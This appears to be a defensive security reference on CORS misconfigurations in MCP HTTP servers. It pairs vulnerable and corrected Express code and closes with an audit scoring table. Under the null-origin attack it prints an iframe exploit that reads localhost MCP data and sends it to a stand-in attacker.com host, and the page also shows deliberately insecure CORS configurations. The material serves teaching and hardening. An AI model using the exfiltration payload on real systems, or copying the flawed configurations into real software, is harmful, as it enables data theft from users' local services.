Security reference · CORS · HTTP headers

MCP server CORS misconfiguration security

CORS (Cross-Origin Resource Sharing) misconfigurations in MCP HTTP servers allow malicious web pages to make credentialed requests to the MCP server from a victim's browser. Unlike traditional APIs, MCP HTTP servers often run on localhost or internal networks where same-IP trust assumptions are common — making CORS misconfigurations particularly dangerous. Four patterns dominate: null origin bypass (allowing the null origin gives sandboxed iframes and file:// pages full access), reflected Origin without validation (echoing the request Origin header without checking an allowlist grants every domain full access), regex bypass (patterns like /example\.com$/ are bypassed by attacker-example.com), and overly broad subdomain allowlisting (allowing *.example.com is broken by an XSS on any subdomain).

Attack 1: Null origin bypass

The null origin is sent by browsers in specific contexts: pages loaded from file:// URLs, pages inside sandbox="" iframes without allow-same-origin, and pages served from data: URIs. If an MCP server's CORS policy includes null as an allowed origin, any of these contexts can make credentialed cross-origin requests to it.

// WRONG — allowing null origin
const cors = require("cors");

app.use(cors({
  // Developer added null to "allow local file testing"
  origin: ["https://app.example.com", "null"],  // "null" as a string
  credentials: true,
}));

Exploit from an attacker's page:

<!-- attacker.com/exploit.html -->
<iframe sandbox="allow-scripts allow-forms" src="data:text/html,
  <script>
    // Runs from null origin — allowed by the CORS config
    fetch('http://localhost:3000/mcp/tool/list-files', {
      method: 'POST',
      credentials: 'include',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ path: '/etc' })
    }).then(r => r.text()).then(data =>
      fetch('https://attacker.com/collect?d=' + btoa(data))
    );
  </script>
"></iframe>

Fix: never allow the null origin in your allowlist.

// Correct CORS configuration with explicit allowlist
app.use(cors({
  origin: (origin, callback) => {
    const ALLOWED = new Set(["https://app.example.com", "https://admin.example.com"]);
    // Explicitly reject null — don't include it even for "testing"
    if (!origin || !ALLOWED.has(origin)) {
      return callback(new Error(`CORS: origin ${origin} not allowed`));
    }
    callback(null, origin);
  },
  credentials: true,
}));

Attack 2: Reflected Origin without allowlist validation

A common shortcut is to echo the request's Origin header directly into the Access-Control-Allow-Origin response header — this appears to solve the "multiple allowed origins" problem but effectively allows every origin.

// WRONG — reflects Origin header without validation
app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (origin) {
    // Intended to "only allow requests that have an Origin header"
    // Actually allows EVERY origin that sends one
    res.setHeader("Access-Control-Allow-Origin", origin);
    res.setHeader("Access-Control-Allow-Credentials", "true");
    res.setHeader("Vary", "Origin");
  }
  next();
});

Any domain can now make credentialed requests. The Vary: Origin header is set correctly, which is a sign the developer knew about caching issues — but they missed that reflecting the origin without validating it is equivalent to Access-Control-Allow-Origin: * with credentials.

Never echo the Origin header directly. Always validate it against a Set of allowed origins before reflecting. A missing origin (same-origin requests from curl or server-to-server calls) should return no CORS headers, not a reflected empty string.

Attack 3: Regex origin bypass

Regular expression origin validation is prone to escaping errors and prefix/suffix bypass. Two common patterns and their bypasses:

// WRONG — regex that can be bypassed with prefix attack
function originAllowed(origin: string): boolean {
  // Intended to match app.example.com and staging.example.com
  return /example\.com$/.test(origin);
  // Bypassed by: "https://attacker-example.com" — matches! (ends with example.com)
}

// WRONG — regex with unescaped dot
function originAllowed2(origin: string): boolean {
  return /https:\/\/app.example.com/.test(origin);
  // Bypassed by: "https://appXexample.com" — dot matches any character
}

Safe pattern: exact string match against an explicit allowlist. Avoid regex for origin validation entirely.

// CORRECT — exact Set membership check, no regex
const ALLOWED_ORIGINS = new Set([
  "https://app.example.com",
  "https://staging.example.com",
  "https://admin.example.com",
]);

app.use(cors({
  origin: (origin, callback) => {
    // No origin = same-origin request (curl, server-to-server) — no CORS headers needed
    if (!origin) return callback(null, false);
    // Exact match only — no substring, prefix, or suffix checks
    if (ALLOWED_ORIGINS.has(origin)) return callback(null, origin);
    callback(new Error("Not allowed by CORS"));
  },
  credentials: true,
  methods: ["GET", "POST", "OPTIONS"],
  allowedHeaders: ["Content-Type", "Authorization"],
}));

Attack 4: Overly broad subdomain wildcarding

Allowing all subdomains of a domain you control (e.g., *.example.com) means any XSS vulnerability on any subdomain (old-marketing.example.com, test.example.com) can make credentialed requests to your MCP server. Abandoned subdomains with no XSS hardening become your weakest link.

// WRONG — wildcard subdomain matching
origin: (origin, callback) => {
  if (origin && /^https:\/\/[a-z0-9-]+\.example\.com$/.test(origin)) {
    return callback(null, origin);  // any subdomain allowed
  }
  callback(new Error("Not allowed"));
}

Fix: enumerate allowed subdomains explicitly in the Set, even if that list is long. If you genuinely need dynamic subdomain support, generate the allowlist from a trusted registry at startup, not from the request origin at runtime.

CORS configuration for MCP servers: use-case guide

Scenario Recommendation
MCP server only accessed by Claude Code / desktop clients (no browser) Disable CORS entirely — reject any request with an Origin header that isn't expected
MCP server accessed by web app + desktop clients Exact allowlist of web app origins; reject everything else including null
Public MCP endpoint (no credentials, read-only) Access-Control-Allow-Origin: * with no credentials — safe for public unauthenticated data
Localhost MCP server (developer tool) Allow only http://localhost:PORT and http://127.0.0.1:PORT where PORT is the known app port

Preflight and header validation

CORS preflight (OPTIONS) responses must also be hardened — reflecting all requested headers via Access-Control-Allow-Headers: * allows attackers to send custom headers that bypass application-level checks:

// WRONG — reflects all requested headers
res.setHeader("Access-Control-Allow-Headers",
  req.headers["access-control-request-headers"] ?? "");

// CORRECT — explicit list of allowed headers only
res.setHeader("Access-Control-Allow-Headers",
  "Content-Type, Authorization, X-Session-ID");
res.setHeader("Access-Control-Max-Age", "86400");  // cache preflight 24h

Also set Vary: Origin on all CORS responses to prevent CDN cache poisoning where a response with a specific Access-Control-Allow-Origin is cached and served to requests from different origins.

SkillAudit findings

Finding → Grade Impact
Critical Reflected Origin without allowlist validation — every origin has credentialed access. −25 points.
Critical Null origin allowed with credentials: true — sandboxed iframes on any page can access MCP server. −22 points.
High Regex origin validation bypassable via prefix/suffix manipulation (e.g., attacker-example.com). −15 points.
High Wildcard subdomain allowlisting — XSS on any subdomain gives cross-origin MCP access. −10 points.
High Reflected Access-Control-Allow-Headers from preflight — custom headers bypass application checks. −8 points.
Medium Missing Vary: Origin on CORS responses — CDN cache poisoning risk. −5 points.
Medium Localhost origins allowed in production build — development origins not stripped. −4 points.

Run a CORS configuration audit. SkillAudit checks for reflected Origin, null origin allowlisting, regex bypass patterns, and missing Vary headers in MCP HTTP server CORS configuration. Audit your server →